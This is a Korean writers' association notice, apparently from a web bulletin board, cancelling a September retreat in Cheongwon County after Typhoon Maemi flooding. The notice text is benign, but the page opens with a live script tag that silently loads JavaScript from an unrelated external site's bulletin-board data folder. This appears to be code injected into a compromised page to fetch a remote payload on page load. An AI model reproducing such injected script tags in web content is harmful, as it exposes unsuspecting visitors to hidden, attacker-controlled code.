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<SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/esuyoil.js></script> 정말 죄송한 이야기를 드려야겠습니다.
수련회 초대 글에 알렸듯이 9월 27일,28일 충북 청원군 옥화자연휴양림에서 수련회를 할 예정이었습니다.
그 기간이 청원군 문화행사 기간인데다가 작가회의 수련회에 청원군이 지원을 약속해 주어서 일을 진행시켰습니다. 청년위와 사무국에서 그동안 수련회 준비를 해왔습니다.
어제(9월 17일)까지 아무 이상 없이 진행되었습니다. 청원군 담당자와 최종 확인 거쳐 회원들께 수련회 초청 엽서를 발송했습니다.
그런데 오늘 (9월 18일) 오전 12시경에 청원군에서 취소연락이 왔습니다. 태풍 매미 때문에 그쪽 지역도 수재를 당했는데 이 상황에서 문화행사를 진행할 수 없다고 결정을 내렸다는 내용이었습니다. (청원군이 준비했던, 작가회의 수련회 및 세미나 외에도 여러 행사를 모두 취소했다는 것입니다)
하여 집행부에서는 급하게 의논을 하여 결국 올해 수련회는 취소하기로 결정했습니다. 뒤로 미루자니 12월 울산에서 있을 전국 문학인 대회와 시간 차이가 별로 안 나고 같은 장소에서 지원 없이 진행 시키자니 돈도 돈이지만, 수해 입을 분들 근처에서 단독으로 행사를 한다는 게 너무 마음에 걸리고 해서 내린 결론입니다.
뜻하지 않게 생긴 변수이지만 수재 당한 분들 생각하면 어쩌면 당연한 것인지도 모르겠습니다. 수련회 준비를 해왔던 사무국 입장에서는 회원분들 만남의 기회가 무산된 게 아쉽습니다만 서로 얼굴 보는 것은 전국 문학인 대회로 잠시 미뤄야겠습니다. 죄송합니다.
수재 당하신 분들의 고통이 하루빨리 치유되기를 기원하며 이만 줄입니다.
안녕히계십시요.
사무국 올림.
* 9월 정례 이사회는 27일 작가회의 사무실에서 열릴 예정입니다. 이사님들께는 따로 연락 드리겠습니다.
* 18일 정도에 수련회 초청 엽서가 도착할 것입니다. 착오 없으시길 바랍니다.
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